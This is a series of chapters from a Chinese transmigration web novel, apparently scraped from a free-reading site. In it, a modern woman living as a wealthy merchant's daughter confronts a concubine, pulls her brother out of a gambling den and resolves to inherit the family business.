这杜姨娘虽说是妾,但沈向远自沈妄姝娘亲去世之后便没有再续弦,也没有再纳妾,后院里头算得上是干净,因而杜姨娘虽然迟迟没有被抬做主母,却也已然成了沈府的半个女主人,那什么房掌柜会去她那里再正常不过了。 杜姨娘与她女儿沈菀住在一处,二人此时正在自己的院内,欢声笑语地挑选着布料,一听见侍女说沈望舒来了,便齐刷刷地抬起头来向门口看去。 杜姨娘是个三十六七岁的美艳妇人,生的女儿沈菀虽然比不得沈望舒那般艳绝天下,却也已经是百里挑一的美人,母女二人往院子里一站,就好像那仕女图里的美人从画里走了出来,活生生的站在人的面前等着被夸赞似的。 沈望舒才走到这俩美人跟前,还没来得及张嘴说话,就听见沈菀先开口道:“姐姐这几日总不见踪影,我还以为今日也见不着你呢。” 她说这话的时候,语气听起来多少有些怪怪的,沈望舒打小就在各种地方打工讨生活,对人的恶意极其敏感,只这一句话便从沈菀的口中听出些酸溜溜的味道了。 怪她沈望舒大意了,还以为这对母女俩是真的要请她来选布料做衣裳的。 其实人家是专门叫她来看眼色的。 沈望舒抬眼扫了沈菀一眼,问:“你在阴阳怪气我吗?” 她这话问得十分直白,半点不给旁人面子,沈菀半点不觉得尴尬似的,笑了笑道:“我怎么会对姐姐不敬?”她嘴上说着恭敬话,却字字句句都带着讥讽“只是甚少瞧见世家小姐去跟男子挤在一处读书,觉得稀罕罢了。” “哦,我当是什么事,”沈望舒也笑了,“兜兜转转地讲了半日,原来是要跟我说你没见识啊。” 她说话的语调轻快,似乎真的不把沈菀的讥讽当一回事,还十分认真地建议道::“没见识就多读点书,多出去走走,爹总不至于不给你钱读书吧。” 沈菀没忍住,当即翻了个白眼:“姐姐便是去了书院,也仍旧是老样子,想来那夫子教的也不怎么样。”她说完又笑了一声,仿佛想到什么好笑的事情,“有钱人家的小姐们哪个不是请了师傅来家里教的?姐姐和你那些闺友特立独行,没少惹人笑话。” 沈望舒这才想起来,原作里的沈妄姝是为了追陆晏时才跑去书院读书的,连带着那群欺负陆晏时的小姐们也是陪着沈妄姝一起去胡闹的。 但沈望舒作为一个现代人,自然不理解这种“不应该抛头露面”的女德,径直呛道:“整日关在家里,和拴在院子里的驴有什么区别吗?” 她这一句话说得脑子的礼沈妄姝哈哈大笑,却叫沈菀面色铁青,似乎是被沈望舒气得说不出话来了。 方才一直没说话的杜姨娘似乎也觉得被沈望舒一番话侮辱了,带着些愠气说道:“你妹妹这样说也是为你好,你怎么好端端的说这样的话来侮辱人?” 沈望舒还没说话,突然有人一脚踹开了书房的大门,接着便有一中气十足的男声传来:“我妹妹想说什么便说什么,何时轮得到你一个姨娘来教训她?简直放肆!” 众人闻声往门口一看,来人是个穿着锦绣华服的俊美公子,一头黑发以玉簪挽在脑后,端的是副翩翩公子的模样,说起话来却又十分无礼,正是沈妄姝的亲哥沈星遥。 只见他几步冲上前来,像堵墙似的沈望舒跟前一档,这才问她:“你跑她们院子里来做什么?” 沈望舒被他这风风火火的一套连招搞得有点懵,老老实实地道:“她们叫我来挑布料做衣裳来着。” 这话听得沈星遥眉头一皱,怒道:“这些东西直接送你院里就是,岂有她们先你一步挑选的道理?还敢叫你来这院里?简直反了天!” 杜姨娘似乎很害怕沈星遥这副模样,气势上瞬间矮下去一届,还未来得及开口向沈星遥解释上一两句,那当哥的就拉着沈望舒往外走,是一句多余的话都不想听了。 沈望舒一边跟着沈星遥走,一边赶紧Call沈妄姝:“你大哥说得都是真的?” 沈妄姝这才慢慢悠悠地道:“真的呀。” “我是嫡出的大小姐,她只是一个姨娘,没有我去她的院子里看她脸色的道理,之前她请我,我都没去过。” 她话刚说完,沈望舒就黑了脸:“你怎么不告诉我?” 沈妄姝理直气壮:“你又没问我,我干嘛要讲?” 沈望舒被她摆了一道,自然不高兴,连说话的语气都有些冲:“你明 7.第七章 《请不要和男主谈恋爱》全本免费阅读 沈妄姝住的望月苑在沈府东南,是府上最精致的一处院子,里面有四间厢房,既有廊桥又有一处浅池,池塘里种着一整片的莲花,只是如今已经到了深秋,便只剩下了光秃秃的杆子,却半点不显得荒凉与杂乱,反而像是大师精心描摹的水墨风景,只静静地矗立在池里,正等着来年再开新的花了。 院子的地面以青石板铺就,青黑色的路面上正落了满地金黄色的叶子,像铺了条以金线织就的地毯,等着沈望舒去踩似的,再往远处还有一座四角凉亭,亭上内的桌上放着盘下了一半的棋,亭子外的银杏树下还绑着个秋千,想来都是给沈妄姝打发时间用的。 沈望舒像刚走进大观园的刘姥姥,对着每一处景色啧啧称奇——她只往这院子里看一眼,就能晓得沈妄姝在沈府有多受宠了。 更别提她那富丽堂皇到恨不得以金子装点的房间、美轮美奂的花窗,以及一盒又一盒的珠宝首饰,都让沈望舒在刚踏进房门的时候险些被迷了眼,仿佛她从这屋里随便扣下来一点墙皮都能换一笔钱似的。 原书作者并没有在小说里对沈妄姝这个愚蠢自私的女三着墨过多,更没有去写她在沈府里头过的是什么样的日子,除了给出她江南首富之女的背景之外,便没有再完善她的设定,如今这样子显然是世界为了让剧情合理,主动赋予了角色们生命和思想,让他们自动补全了作者没写到的剧情和设定。 作为首富家的大小姐,沈望舒光贴身伺候她的侍女就有七人,一见沈望舒回来了,便忙不迭地来伺候她,又是宽衣又是伺候洗手的,连脱鞋袜都不需要自己弯腰,沈望舒哪里受过这种待遇,实在是不自在极了,正要叫侍女都退下自己来,沈妄姝却先开口道:“你别干什么多余的、奇怪的事情。” 沈望舒讪讪道:“我实在不习惯被人这么伺候。” “我们那儿都解放了,没有这种什么主子婢女这一说,这样真的搞得我浑身难受。” “你给我习惯!以后我还要换回去的!她们没大没小习惯了可不成 !”沈妄姝难得在沈望舒身上找到一点做老板的威严,硬气的不得了,沈望舒没办法,只得硬着头皮走完一套流程,一直到侍女们都忙活完了,沈望舒说要自己待一会儿,总算是觉得自在了。 沈望舒长出了一口气,整个人往扑着软垫的黄梨木小榻上一歪,一边很是稀奇地摸着桌上摆着的描金花瓶,一边听沈妄姝絮絮叨叨地讲杜姨娘和沈菀的事情。 她说沈夫人是在自己四岁的时候过世的,那时候杜姨娘就开始管家了。 沈妄姝又说沈夫人过世了之后,沈向远就没有再娶,也没有把姨娘抬做妻子,后院里也就只有杜姨娘一人,其实对沈夫人已经很深情了。 沈望舒觉得她说这话不对:“可是你娘没死的时候你爹就睡了杜姨娘啊?还给你整了个妹妹出来,这算哪门子深情啊?” “这不是很正常的事情吗?”沈妄姝对她的疑问十分不解,“哪个男子不是妻妾成群的呢?” 沈望舒一本正经地道:“不正常啊,在我们那儿这种行为叫婚内出轨,这种情况下是可以离婚让男的净身出户的。” 她又说了对沈妄姝来说晦涩难懂的词语,沈妄姝想了想,又想了想,问:“离婚是什么?和离吗?什么叫婚内出轨,什么又是净身出户?” 沈望舒大概和她解释了一番现代婚姻法内容,又讲了一夫一妻制和离婚财产分配,听得沈妄姝一愣一愣地,呆呆道:“你骗我的吧。” “懒得跟你说,爱信不信,”沈望舒也不打算废大力气向一个古人普法,只拉过桌子上放的果盘,一边翻拣着里头放的水果,一边懒洋洋地道,“你知道吗,我发现你失败的原因,除了你老爱跟男主搅合在一起、插手主线剧情之外,还有一个原因。” 沈妄姝还在沉浸在婚内出轨和净身出户这种骇人听闻的事情里,听见沈望舒骤然转了话题,有些呆地应了声:“什么?” “你哥不行,守不住你家的财产。” 她这话说得异常直白,半点不给沈家兄妹留面子,偏偏沈妄姝晓得她说得是实话,因而即便是再溺爱家人,她也没办法去替沈星遥争辩半句。 只是她十分听不得别人讲沈星遥的坏话,仍要梗着脖子嘴硬道:“我雇你来不就是叫你来解决问题的吗?” 沈望舒虽然看不见她的模样,但总觉得她像一只斗志昂扬的公鸡。 有点好笑。 但她也没明着笑,而是清了清嗓子道:“你去继承你爹的生意不好吗?我看你还行,就算赚不到钱也不至于败家。” “女子哪能做得这样大的生意!”沈妄姝又被沈望舒说得话吓到,“你为何整日有这样多惊世骇俗的想法?!” “啊?我们那儿女企业家挺多的啊,现在女子能顶半边天了,”沈望舒在现代生活惯了,自然不觉得自己说的话有多么倒反天罡,她甚至还努力鼓动沈妄姝,“循规蹈矩是赚不了钱的,女人继承家业又不会被拉去砍头,有什么可怕的?” 但沈妄姝却连连摆手:“不行的不行的。” 可要沈望舒去追问她为什么不行的时候,她却又说不出个所以然来,全然没了之前那副自信到全天下我最棒的模样。 沈望舒想了想,又语出惊人道:“那要不你干脆招个赘婿吧!” 沈妄姝傻了:“啊?” “这样你既能远离陆晏时不和他纠缠在一起,又能名正言顺过的接手你家的产业啊!” 沈望舒越说越觉得可行,越说越觉得自己这法子简直完美,激动的几乎要去拍自己的大腿,仿佛那一个亿的奖金下一刻就要打进自己的银行账户似的:“你放心,我保证给你挑一个长得特好看的丈夫,绝对不会比陆晏时差的!” “我不要!!”沈妄姝连想都不想便大声反对,“这世上没有人比陆晏时英俊了!” 她喊出这句话的时候,沈望舒仿佛能瞧见她叉着 8.第八章 《请不要和男主谈恋爱》全本免费阅读 陆晏时和其他五个被沈府全额资助的书生一样,都住在沈府最西边的竹苑里。 竹苑并不算大,因园内种着一大片竹林而得名,是之前沈夫人还在的时候,用来静心赏景的小院子,沈夫人去世之后便空置了,后来陆晏时为了安置这些个书生,才又将其重新翻修了一遍。 院内共有六个厢房,每一间的大小格局都一模一样,正好分给他们六个人住。 虽然这些厢房不如给少爷小姐们住的那般豪华,房间也不算大,只勘勘够放下桌椅床铺与衣柜而已,但也收拾的窗明几净,住这些连学费都要交不起的穷书生实在是绰绰有余了。 更何况沈向远还指望着这些书生将来能够考取功名,捞个一官半职之后来庇护他这一双儿女,自然不敢怠慢了他们,甚至还在院里配了三名小厮,专门负责这些书生的生活起居,一日给备三餐,每日能吃一顿肉,已经是算得上是极好的待遇了。 虽然陆晏时与其他的书生住在同一个院里,但却不在同一个书院读书,倒也不是沈向远多看重他要区别对待,纯粹是因为沈大小姐闹着要和他去读同一个书院,沈向远没办法,才把陆晏时送去了少爷小姐扎堆的书院里去的。 陆晏时今日才回到自己厢房,还未来得及打开要看的书,便听见有人来敲他的门,陆晏时一开门,就瞧见外头站着个小厮,手里恭恭敬敬的呈着几件衣裳,对他道:“公子,您的东西。” 那衣裳自然都是今日沈望舒买给他的。 到了如今这地步,陆晏时自然不能再拒收,只能说了句“多谢,辛苦你跑一趟”之后,老老实实从那小厮手上把衣服接了过来,就听那小厮又说了声:“小姐叫我交代您一句,衣裳买了就得穿,要是您不穿的话,她……她有的是法子叫您穿。” 他说这话的时候,陆晏时几乎能想象得到沈望舒那副颐指气使的模样,这让他觉得自己像是被那蛮横的大小姐拿捏在手里的玩具,不论自己内心如何抗拒,也没办法从她的手心逃脱半分,真真是无奈又痛苦极了。 好在她答应了自己今后只当作与他不相识,否则凭借他这个穷苦孤儿的本事,又如何能摆脱得了沈望舒这个大小姐的折磨? 陆晏时将那几身衣裳小心翼翼地收进柜子里去——即便他再怎么不喜欢沈望舒,但他也没有幼稚到要拿这些东西撒气,更何况这些衣裳都是一顶一的好料子做的,陆晏时长到这样大的年纪都没摸过这样好的衣裳,自然不愿意平白糟践了。 原本他并不打算穿那几件衣裳,只是到了第二日要去学堂前,又想起沈望舒那句轻飘飘地威胁,为了省去不必要的麻烦,陆晏时终于还是有些不情愿地换上了沈望舒买给他的衣裳,浑身不自在地穿着这身与他不相称的行头去了书院。 他才走进学堂里,昨日找他麻烦的一个少爷便敏锐地觉察到他的变化,嚷道:“陆晏时,你换衣裳啦?!” 他这一喊,在场的人便纷纷向陆晏时看了过来。 偏偏陆晏时并不记得此人的名字。 他才来这书院读书几日,同窗的人还没认全,就开始被以沈望舒为首的少爷小姐们找麻烦,几乎被所有人孤立,自然再没了机会去和他们结识。 陆晏时并不愿意搭理这些胡乱生事的少爷,提着自己的书袋就想绕过他回自己的座位上去,可那少爷显然不愿意轻易放过他,上手就去拽陆晏时的袖子,将陆晏时拽得一个趔趄,险些摔了。 那少爷还不满足,抓着陆晏时衣裳的袖子,像是觉察到了什么惊天大秘密,大声问道:“你这衣裳哪里来的?” 陆晏时终于觉得有些烦了,皱着眉道:“与你何干?” “你这穷鬼,哪里来的钱买这样好的衣裳?”他瞧见其他的同窗围上来看,便越说越来劲,越说越大声,“你上哪儿偷的衣裳,偷的钱?” “陆晏时,你也不撒泡尿照照你自己,你也配穿这样好的衣裳?你瞧瞧你这穷酸样,还以为换身皮囊就能遮住你身上那冲天的乞丐味儿了吗?” 他这话一出口,在场的人便哄堂大笑起来,又有人起哄道:“还愣着做什么?还不把这小贼送到官府去?” 众人说笑着,就要上手来脱陆晏时的衣裳,仿佛他真的是什么十恶不赦的罪人似的,陆晏时开口想要为自己争辩几句,可众人齐齐刁难,并不给他解释的机会——他们其实并不在乎真相是什么,只是找个由头来刁难陆晏时罢了。 陆晏时长叹一口气,为自己的愚笨而懊悔不已。 原来他还是被沈望舒骗了。 她故意骗自己穿上一件和他的身份极为不相称的衣裳,故意叫他穿到书院里头来,就是为了找个新的法子来羞辱自己罢了,偏偏自己愚蠢至极,还真信了她要真心悔过的谎话。 陆晏时想不明白他们这样欺辱自己究竟有什么乐趣,也想不明白沈望舒那个刁蛮的大小姐究竟有什么好,能让这些人为了讨她的欢心而无所不用其极,他只觉得无聊又无趣,连与这些人辩驳的想法都没有了。 而罪魁祸首沈望舒还对书院里的事一无所知。 她昨日和沈妄姝聊到半夜,不顾尖叫鸡的极力反对,决定由她本人来继承家产,专心经商,避开男女主一行人和所有主线剧情,以此完美规避死亡风险。 到沈望舒早晨出门之前,她还叫侍女去和沈星遥提一句,说自己下完学以后有事要找他,叫他把晚上时间空下来等自己回来,却不想那侍女支支吾吾,小半日才说了句:“大少爷昨夜就没回府,说是睡在赌坊了。” 沈望舒当即脸色一黑。 偏偏沈妄姝还是个不会看眼色的,她生怕沈望舒对自己的大哥有什么意见,在马车上的时候,还在滔滔不绝地向沈望舒解释:“我大哥是个好人。” “他只是交了不学好的朋友被带坏了而已!他不跟着去赌坊,那些混账少爷们就不乐意和他一起玩了,我大哥太无聊了,也没人陪他的。” 即便沈望舒一声不吭,沈妄姝依然能够源源不断地向她输出沈星遥是多么好的一个大哥、只是交友不慎被带坏了这样一个观念:“我大哥是全天下最好的大哥,只是遇人不淑罢了!上一世我叫他戒赌,他最后分明也戒掉了!” 沈望舒听得头疼,实在没忍住,翻了个白眼道:“你年纪轻轻的,怎么说的话好像一个太子妈啊。” 沈妄姝被她一句话说得脸色一变:“你在说什么大逆不道的话!你不要命了?!” 被她这一骂,沈望舒才想起来自己现在正处在封建社会的背景下,乱说太子、妄议皇室被别人听到了,可算得上是杀头的大罪。 “对不住,”沈望舒讪笑了一声,赶紧道歉,“在我们那儿自由自在、口无遮拦惯了,忘了你们这儿规矩多了,下次注意。” 她们二人说话之间,马车已经到了书院跟前,沈望舒正边走边跟沈妄姝这个尖叫鸡打趣,就听见教室里面传来的吵闹声,她一走进学堂里,正正好就瞧见了陆晏时被一群人围起来嘲笑的场景。 “坏了,忘了跟他们通知一声,叫他们别欺负陆晏时了,”沈望舒一拍脑袋,“没有微信 9.第九章 《请不要和男主谈恋爱》全本免费阅读 沈望舒下了学,便坐上马车直奔沈府而去,火急火燎地要去找沈星遥谈话,却不想她人到沈星遥的院子里一看,才发现沈妄姝的好大哥还在赌场里头,至今没回家。 沈望舒长叹一口气,连停下来休息一下都不肯,转头又风风火火地去赌场要逮沈星遥。 沈妄姝看见她这副跟要去抓犯人似的模样,莫名有些发怵,说起话来也没了先前那股子傲气,反而有些怯生生的:“你等会别这么凶,别把我大哥吓着了。” “啊?”沈望舒简直无语。 她指了指自己,反问沈望舒:“吓着你大哥?谁?我?” “反正你跟他好好说,不准凶!不准骂人!”沈妄姝越说越来劲,甚至还威胁似的对她的打工仔沈望舒道,“你要是凶他,我就扣你工钱!” “我服了,”沈望舒被这尖叫鸡折磨的没了脾气,低骂了句,“真是个男宝妈。” 沈星遥去的那赌坊在城东,是江南最大的几个赌坊之一,赌坊周围酒楼林立,到了夜里头,各个店门前的灯笼将一条街照得有如白昼,确实是这些游手好闲的少爷们的好去处。 现下还未入夜,这街上就已经人来人往的好不热闹,沈望舒也没闲心思逛街,她按照尖叫鸡的指示,非常顺利地找到了赌坊,一路冲进了沈星遥常去的那个包厢。 她一打开包厢的门,厢房里刺鼻的酒味就争先恐后地钻进了沈望舒的鼻子里,呛得她眉头一皱,下意识就往后退了一步。 那包厢不小,装修的也算不错,显然是为了这些有钱的少爷们专程开设的,房间正中间摆着张大桌子,几个穿着绸缎衣裳的年轻男子正围在桌前大声叫嚷,俨然已经下了注在等开盘,没人发现门已经叫人推开了。 而沈星遥整个人歪坐在一个太师椅上,手里端着一壶酒,嘻嘻哈哈地指挥人下注,那模样好不逍遥。 他还穿着昨日出门时穿的衣裳,衣服被他穿得有些皱巴,显然是一直在这赌坊里待着没回过家,只是他模样长得俊,又套上这样华贵的衣衫,便是一日不洗漱,也依旧看上去人模狗样的,在一众灰头土脸的赌鬼里显得跟会发光似的。 沈星遥听见门推开的声音,下意识便转头往门口看了一眼,瞧见沈望舒直愣愣地站在门口的模样,手里的酒壶一个没握住,“啪”地一声掉到地上摔碎了。 他猛地从太师椅上站起身来,脸上的表情好似见了鬼,场内的其他人听见他的动静,便纷纷停了手里的动作,顺着沈星遥的视线向包厢门口看去,就见一个娇滴滴的仙女站在门口,叫他们一时间都看呆了。 沈星遥一瞧这些个猥琐赌鬼用下流的眼神盯着自家妹子看,一个个的下巴跟要掉下来似的,当即回过神来,冲那几个人骂了句:“看什么看!再看把你们眼珠子挖出来!”又一个箭步冲到沈望舒的跟前,拽着她的手就往赌坊外头冲,沈望舒一边跟着沈星遥走,一边在脑子里问沈妄姝:“你上辈子是咋劝你哥戒赌的?” “我天天跑到他跟前哭着求他别再来了,连着哭了一个月,”沈妄姝说起这个事,多少有些不好意思,“哭到他最后拿我没办法,就只好戒了。” “OK,”沈望舒点点头,“I got it.” “?”沈妄姝头大,“你别说我听不懂的鸟语!” 沈望舒还没来得及回话,沈星遥就已经拉着她到了赌场门口,问:“你来这种地方作甚?乌烟瘴气的,也不怕污了自己眼睛。” 沈望舒也不回话,只反过手去拉沈星遥的袖子,沈星遥就这样乖乖地被她拽着上了马车,二人才刚在车上坐下,沈望舒便冲他开口道:“大哥,你莫要再去赌了。” 她这话才说出口,沈妄姝便先回了话:“我瞧你那风风火火的模样,还当你有什么法子,折腾了半日就说出这样轻飘飘的一句话,又能有什么用?” 倒也不能怪沈妄姝着急,她上辈子重生之后,虽然也苦口婆心、费劲艰辛地劝沈星遥戒了赌、乖乖地去接手家里的生意,但她大哥却仍旧不可避免地走向了和第一世一样的结局——爱上虞妙瑛,被她利用、骗钱,最终迎来了他的死亡,如今看见沈望舒用了和自己几乎一样的方式去劝解沈星遥,难免会觉得有些焦躁了。 果不其然,沈星遥听见沈望舒的话,有些混不吝地道:“你管我这些做什么,反正我闲着也是闲着,上赌坊打发打发时间也挺好玩的。” 与他前世回沈妄姝的话几乎一模一样。 沈望舒没着急回沈妄姝的话,而是开口反问沈星遥一句:“真这么好玩吗?” 沈星遥不疑有他,老老实实地点了点头:“好玩啊。” “行,那从明日开始,我也不去书院了,”沈望舒直勾勾地盯着沈星遥看,眼神几乎要在沈星遥身上盯出一个洞来,“以后你去哪儿赌钱,我就跟着你去哪儿玩。” 她这话一出,沈星遥大惊失色,道:“这哪儿能行?!这些地方哪里是你能去的?” “为何不行?你能去得的地方,我又有什么去不得的?”沈望舒说这话的时候,一双眼睛睁地浑圆,有种不以为然的天真,“你我兄妹二人,何必如此生分?” 沈星遥急了:“这哪儿是生分不生分的事?你跟着我去那种地方,我将来哪儿还有脸去见娘亲?” “你现在这样就有脸面去见娘亲了吗?”沈望舒却半点不体谅他,自顾自地又说道:“总之从明日起,你上哪里去玩,我便跟你去哪里玩。” “你去赌钱,我便跟着你上赌坊一起赌,你去喝酒,我就同你一起到酒坊里喝酒,便是你到青楼去狎妓,我也要坐到边上去给你鼓掌助兴!省的我也整日无聊,还要四处给自己寻乐子!” “不是,那我也从来不去青楼啊……再说你一个未过门的姑娘,说得都是什么话呢……”沈星遥面色铁青,支支吾吾地为自己辩白,“不是,就……就是我那些朋友都去,我不去也不合群啊,叫人家笑我,多没面子……” 他说话时眼神飘忽不定,宛如做错事被父母抓包的孩子,全然没了昨日护着沈望舒时那副飞扬跋扈的少爷模样,看上去多少有些可怜。 若是换做沈妄姝在这里,必定会念着她大哥平日的好而心软,就这样放过他了。 好在现在坐在沈星遥面前的,是一个跟他毫无感情、根本不会怜悯他的沈望舒。 “那更好说了,”沈望舒一拍手,非但不觉得他那模样可怜,反而还笑盈盈地对沈星遥道“你把你那些好朋友也介绍给我认识就成了。” 她说这话的时候,一双眼亮的好似天上的星,面上的表情也仿佛发现了什么世间真理似的,却叫沈星遥听得急了,连连摆手道:“使不得,使不得!” 若不是马车低矮,沈星遥恨不得跳起来拽着她的胳膊大叫:“那些人皆是上不得台面的纨绔,叫你见一眼都是污了你的眼睛!” 沈望舒没想到他会这样回答,当即有些愣了。 她呆呆地冲沈妄姝说了句:“你大哥挺在乎你的。” 沈妄姝生怕他们两个人吵起架来,正屏气凝神地认真听着俩人说话 10.第十章 《请不要和男主谈恋爱》全本免费阅读 沈向远这些日子去外地处理分店的账目,有一个多月的时间没有回家了,他前些日子还寄来家书说最近几日要回来,但沈妄姝本人完全忘了这回事,到侍女来报的时候,才一拍脑袋反应过来。 好在沈向远回家也不是什么主线剧情,原本的小说里也不会这样事无巨细地去讲述沈妄姝一个女三的家庭琐碎,所以即便这事情她忘了,也不会影响后续的主线剧情。 但是对沈望舒来说,这倒是个极好的机会。 她和沈星遥二人跟着侍女一路穿过曲折的回廊,顺利地到了沈向远的院子。 那侍女始终在她们兄妹二人面前低着头,态度和模样都十分恭敬,沈望舒来这里几日,还是对这种尊卑有别的封建制度十分不习惯,别人一这样卑躬屈膝地要伺候她,她便觉得浑身不自在。 但显然没有人会把她这样的不自在当一回事——比起吃不上饭在老家饿死,在沈府上做奴婢已经是寻常人想都不敢想的好差事了,更何况沈望舒人微言轻,也没有那种改变天下的本事,等她顺利完成沈妄姝的任务之后,她也总要离开这个地方回到自己家去,自然不会傻乎乎地去多管闲事,只能先顺其自然,其他事情留到以后再说了。 作为沈家唯一的主人,沈向远住的院子自然是府上最好的一处,原本沈望舒以为自己住的望月苑已经极致奢华,可真的到了沈向远住的雁栖苑里一看,沈望舒才知道什么叫穷尽奢靡的有钱人——他似乎很不得将世间的一切珍宝都摆在院里,单是房里的花瓶随便拿一个到后世去,都够资格做博物馆的镇馆之宝的。 沈望舒没忍住,下意识冲沈妄姝说了句:“你爹还是个极繁主义者。” “你骂我大哥也就罢了,”沈妄姝十分不乐意,气鼓鼓地道,“怎么连我爹也要骂。” “我没骂人啊!”沈望舒冤枉极了,“极繁主义怎么能是骂人呢,你别平白无赖好人。” “那你不准再讲我没听过的、听不懂的话!”沈妄姝不服气,“我听不懂,当然觉得你在骂人!” 沈望舒一听就笑了:“那是你没文化,不能怪我。” 只这一句话便气的沈妄姝直跳脚,而沈望舒则是不再和他斗嘴,气定神闲地走进了沈向远的书房。 沈向远正坐在桌前伏案看账本,一听见有人来了,便抬起头向门口看了过来。 沈向远今年不过四十五岁,容貌比一般的中年人要显得年轻许多,他眼窝深邃、鼻梁高挺,与沈星遥瞧着确实有五六分相似,想来年轻时应该也是个英俊青年。 只是他本人穿衣风格似乎也贯彻了他的极繁主义核心:沈向远身穿一件仙鹤祥云纹的绛色蜀锦长衫,头戴青玉发簪,腰带上头镶嵌着大大小小七颗宝石,下头还坠着两枚玉佩和几个香囊,沈望舒下意识往他的鞋子上瞅了一眼——还好,上头没镶什么宝石,否则她实在很难忍住自己想要破口大骂这些死有钱人奢靡浪费的冲动,从而害自己暴露了身份导致任务失败了。 但沈望舒还是下意识说了句:“哇,他穿得好土啊。” 沈妄姝气得哇哇大叫:“你还说你没骂人!” “哪儿骂人了,我实事求是啊。”沈望舒小声嘟嘟囔囔,好在沈向远及时开口与他们兄妹二人说话,这才打断了她们二人。 沈向远倒也没有别的事情,只是回了家总归要同儿女说几句话,问一问他们的生活与功课,再把自己买回来的礼物拿来给他们都分了。 他给沈望舒买了许多的首饰与胭脂,许是在外头见到什么好看的,就一股脑地都买下来给了她,沈望舒生平哪受过这般待遇,看着这堆得像小山一样的礼物,一时间都有些懵了。 沈向远还犹不满足,笑嘻嘻地问沈望舒:“囡囡生辰快到了,可想到要什么礼物了?” 沈望舒没着急回答,而是先问脑子里的尖叫鸡:“你爹疼你吗?” “我爹当然疼我了!”沈妄姝一说到她爹和大哥,便有种说不出的自豪,“便是我闯了再多的祸,他都几乎没有责骂过我。” 想来也是,若不是她的家人对她这般无底线的溺爱与包容,沈妄姝也不可能变成一个自大又自私的女配了,沈望舒觉得自己简直多此一问。 因而她脱口便说道:“我想要叫爹爹将家里的事业交给我打理。” 她话一说完,在场的三个人都懵了。 沈妄姝最先反应过来,她问:“你来真的啊?” 她没想到这个沈望舒行动力竟然如此之强,昨夜才在盘算要继承家业,今日就这样冲沈向远说了出来,连等都不愿意再多等一日,更别说给时间让自己劝说沈望舒打消这个念头了。 但沈望舒却秉承着今日事今日毕、早作准备早应对的人生信念,一旦决定了某件事情,就要像个推土机一样勇往直前,生怕自己将来为自己的迟疑而后悔。 “对啊,不然呢?”沈望舒丝毫不觉得自己有什么问题,甚至还鼓励沈妄姝道,“你上辈子都做到贵妃了,眼界怎么说也要比你哥好些,本事也比你哥要强,咱们再勤加学习,肯定能行的。” “我又不要求你拓展什么大事业,只要你能守住你家的家财就行了。” 说完她也不再搭理沈妄姝,转而直勾勾地去盯着沈向远和沈星遥父子俩了。 沈向远和沈星遥似乎被沈望舒一句话给劈了似的,用了小半日才消化完她那短短的十来个字,沈星遥难以置信地问她:“你说得话可是认真的?” 要不说沈星遥和沈妄姝是兄妹呢,俩人一前一后问的话几乎一模样,沈望舒还没来得及笑呢,沈向远便先开口问她:“囡囡,你为何突然想要打理家里生意了?” 他似乎不明白这个整日胡作非为的女儿为何突然说出这种话,只问她:“可是有人在你面前胡说八道了什么,或是欺负你了?” 面对沈向远与沈星遥的关切,沈望舒登时戏瘾大发,摆出副忧心忡忡的模样,皱着眉头道:“我只是想着,如今爹爹年纪大了,还要为了这个家整日在外奔波,女儿瞧着实在心疼。” 她又看了看沈星遥,有些为难地说了 11.第十一章 《请不要和男主谈恋爱》全本免费阅读 夜色渐渐深了,杜姨娘来的时候,前头的侍女还提着一盏灯笼为她照明,暖黄色的烛火与月光交织在一起,于杜姨娘身上投下一道明明灭灭的光影,叫她整个人瞧上去像王家卫电影里踩着BGM登场的温婉美人,有满腔的柔情蜜意要与他人诉说。 和前几天在院子里刁难沈望舒的模样简直判若两人。 杜姨娘显然精心打扮过,发髻梳得精心,上头斜插一支金钗,显得整个人慵懒又风情,她原本长得就颇有姿色,如今这样往门口一站,柔荑似的手指搭在门框上,叫她瞧着像是娇舞无力的醉西施,跟副画似的招人眼球。 她实在很懂得如何放大自己容貌的优势,并以此去讨好沈向远。 只听她颇为娇嗔地冲沈向远笑道:“怎么回来了也不知道差人来说一声。” 杜姨娘到底不是正经的主母,她的女儿沈菀也只是个庶女,比不得嫡出的儿女亲近,因而沈向远回家先见自己的嫡亲子女,是再正常不过的事情了。 但杜姨娘却偏要摆出一副女主人的姿态来,仿佛沈向远不先来见自己和沈菀便是乱了规矩似的。 “这不正要叫翠儿去叫你们吗,”沈向远似乎不在意杜姨娘的态度,还对她的撒娇十分受用,笑嘻嘻地一指桌上另一个箱子,道,“给你和莞菀买的礼物,去瞧瞧。” 沈菀自然喜不胜收,乐滋滋地说了声“多谢爹爹”,便兴冲冲地去看沈向远买给她的礼物。虽然她是庶女,但沈向远从来未曾苛待过她,买来的礼物当然也不会比送给沈望舒的差上多少。 杜姨娘倒是不着急去看那些东西,反而对着沈向远嘘寒问暖,关心他这些日子在外头吃的好不好,睡的好不好,说起贴己话的时候也不顾几个儿女还在场,半点知道不避嫌,那似水一样的柔情几乎要把沈向远淹没了。 沈妄姝看得咬牙切齿,恨恨地低声骂了句:“大晚上穿得这样花枝招展,也不知道给谁看!” “还能给谁看,”沈望舒自己拉了个椅子坐下,又摸了茶杯来给自己倒了杯茶,慢悠悠地道,“给你爹看的呗。” “你爹要是不喜欢,她废那劲做什么,”沈望舒还嫌不够似的接了句,“一个愿打一个愿挨,你气也没用。” 沈妄姝听完更气了:“你怎么还替她说话!你到底是不是我的人!” “不是呀,”沈望舒笑嘻嘻地逗她:“我当然是公理与正义的朋友。” 说罢她话锋一转,问沈妄姝道:“说真的,你不觉得杜姨娘也挺可悲的吗?” 她这话说得沈妄姝大为不解。 在沈妄姝看来,虽然杜姨娘出身贫苦,一度穷的连饭都吃不上,被自己的亲爹娘变卖为奴,确实身世悲惨,但她凭借着美貌与一点心机,早早地攀附上了沈向远,十几岁的时候便入了沈府。虽然她出身低微只能做个姨娘,却也过上了锦衣玉食的人上人生活,尤其在沈夫人去世之后,她更是成了半个沈家的女主人,平日里连换件衣裳都有人伺候着,因而沈妄姝实在不明白,这样的人生究竟可悲在哪里? 但沈望舒却很认真地同她讲:“她为了博得你爹的宠爱,在这个年纪、这个时间,还要当着三个孩子的面争宠,去装出一副自己温柔多情的样子,难道不可悲吗?” “她把自己的人生幸福拴在一个男人的身上,若是哪一日失去了这个男人的恩宠,她的余生也就再也没了保障——和你上辈子一样,你难道不觉得吗?”沈望舒难得用这样严肃的语气和沈妄姝讲话,仿佛真的想要教会她这个道理似的,“只有你把自己安身立命的东西捏在自己手里,你才能活的有骨气,才能活的像个人,你明白吗?” “这也是为什么我一直鼓动你继承家业的原因,只有你有了实权,有了本事,你才能避开必死的局,在这样一个封建社会里安身立命。” 